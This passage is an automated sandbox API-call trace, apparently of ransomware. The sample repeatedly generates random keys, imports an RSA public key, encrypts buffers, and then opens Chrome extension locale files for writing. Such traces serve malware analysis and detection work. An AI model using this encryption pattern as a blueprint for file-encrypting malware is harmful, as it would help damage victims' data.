pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.911] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.911] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0241.913] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.915] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.915] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.915] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.915] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.917] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afd78) returned 1 [0241.917] CryptGetKeyParam (in: hKey=0x66afd78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.917] CryptEncrypt (in: hKey=0x66afd78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaf00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xaf00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.917] GetLastError () returned 0x0 [0241.917] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.917] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.919] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66afe38) returned 1 [0241.919] CryptGetKeyParam (in: hKey=0x66afe38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.919] CryptEncrypt (in: hKey=0x66afe38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaf10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xaf10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.919] GetLastError () returned 0x0 [0241.919] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.919] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.921] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.924] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.925] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.925] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.925] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.925] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.927] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.929] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.929] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.929] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.930] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.932] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0038) returned 1 [0241.932] CryptGetKeyParam (in: hKey=0x66b0038, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.932] CryptEncrypt (in: hKey=0x66b0038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaf20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xaf20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.932] GetLastError () returned 0x0 [0241.932] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.932] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.934] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af8b8) returned 1 [0241.934] CryptGetKeyParam (in: hKey=0x66af8b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.934] CryptEncrypt (in: hKey=0x66af8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaf30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xaf30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.934] GetLastError () returned 0x0 [0241.934] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.934] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.935] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.937] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.943] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.943] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.943] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.944] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.946] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.947] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.947] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.947] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.948] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.954] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0278) returned 1 [0241.954] CryptGetKeyParam (in: hKey=0x66b0278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.954] CryptEncrypt (in: hKey=0x66b0278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaf40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xaf40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.954] GetLastError () returned 0x0 [0241.954] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.955] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0241.956] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0478) returned 1 [0241.956] CryptGetKeyParam (in: hKey=0x66b0478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.956] CryptEncrypt (in: hKey=0x66b0478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaf50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xaf50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.956] GetLastError () returned 0x0 [0241.956] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.957] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.957] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.960] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.963] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.963] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.963] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.963] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.965] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.967] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.968] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.968] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.968] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.970] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b01b8) returned 1 [0241.970] CryptGetKeyParam (in: hKey=0x66b01b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.970] CryptEncrypt (in: hKey=0x66b01b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaf60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xaf60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.970] GetLastError () returned 0x0 [0241.970] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.970] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.972] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b03f8) returned 1 [0241.972] CryptGetKeyParam (in: hKey=0x66b03f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.972] CryptEncrypt (in: hKey=0x66b03f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaf70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xaf70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.972] GetLastError () returned 0x0 [0241.972] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.972] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.973] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0241.976] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.978] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.978] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.978] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.978] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0241.980] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.982] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.982] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.982] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.983] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.985] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b04b8) returned 1 [0241.985] CryptGetKeyParam (in: hKey=0x66b04b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.985] CryptEncrypt (in: hKey=0x66b04b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaf80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xaf80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.986] GetLastError () returned 0x0 [0241.986] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.986] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.987] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0438) returned 1 [0241.987] CryptGetKeyParam (in: hKey=0x66b0438, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.987] CryptEncrypt (in: hKey=0x66b0438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaf90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xaf90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.988] GetLastError () returned 0x0 [0241.988] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.988] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.988] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.991] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.993] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.993] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.993] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.993] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.995] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.997] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.998] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.998] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.998] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0242.001] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b04f8) returned 1 [0242.001] CryptGetKeyParam (in: hKey=0x66b04f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.001] CryptEncrypt (in: hKey=0x66b04f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xafa0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xafa0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.001] GetLastError () returned 0x0 [0242.001] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.001] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.003] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b00b8) returned 1 [0242.003] CryptGetKeyParam (in: hKey=0x66b00b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.003] CryptEncrypt (in: hKey=0x66b00b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xafb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xafb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.003] GetLastError () returned 0x0 [0242.003] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.003] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.005] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.007] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.009] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.009] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.009] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.009] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0242.011] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.018] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.018] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.018] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.018] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.020] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0538) returned 1 [0242.020] CryptGetKeyParam (in: hKey=0x66b0538, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.020] CryptEncrypt (in: hKey=0x66b0538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xafc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xafc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.021] GetLastError () returned 0x0 [0242.021] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.021] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.022] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0778) returned 1 [0242.022] CryptGetKeyParam (in: hKey=0x66b0778, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.022] CryptEncrypt (in: hKey=0x66b0778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xafd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xafd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.023] GetLastError () returned 0x0 [0242.023] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.023] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.023] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.026] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.028] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.028] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.028] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.028] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0242.030] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.032] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.032] CryptGenRandom (in: hProv=0x5c4980, 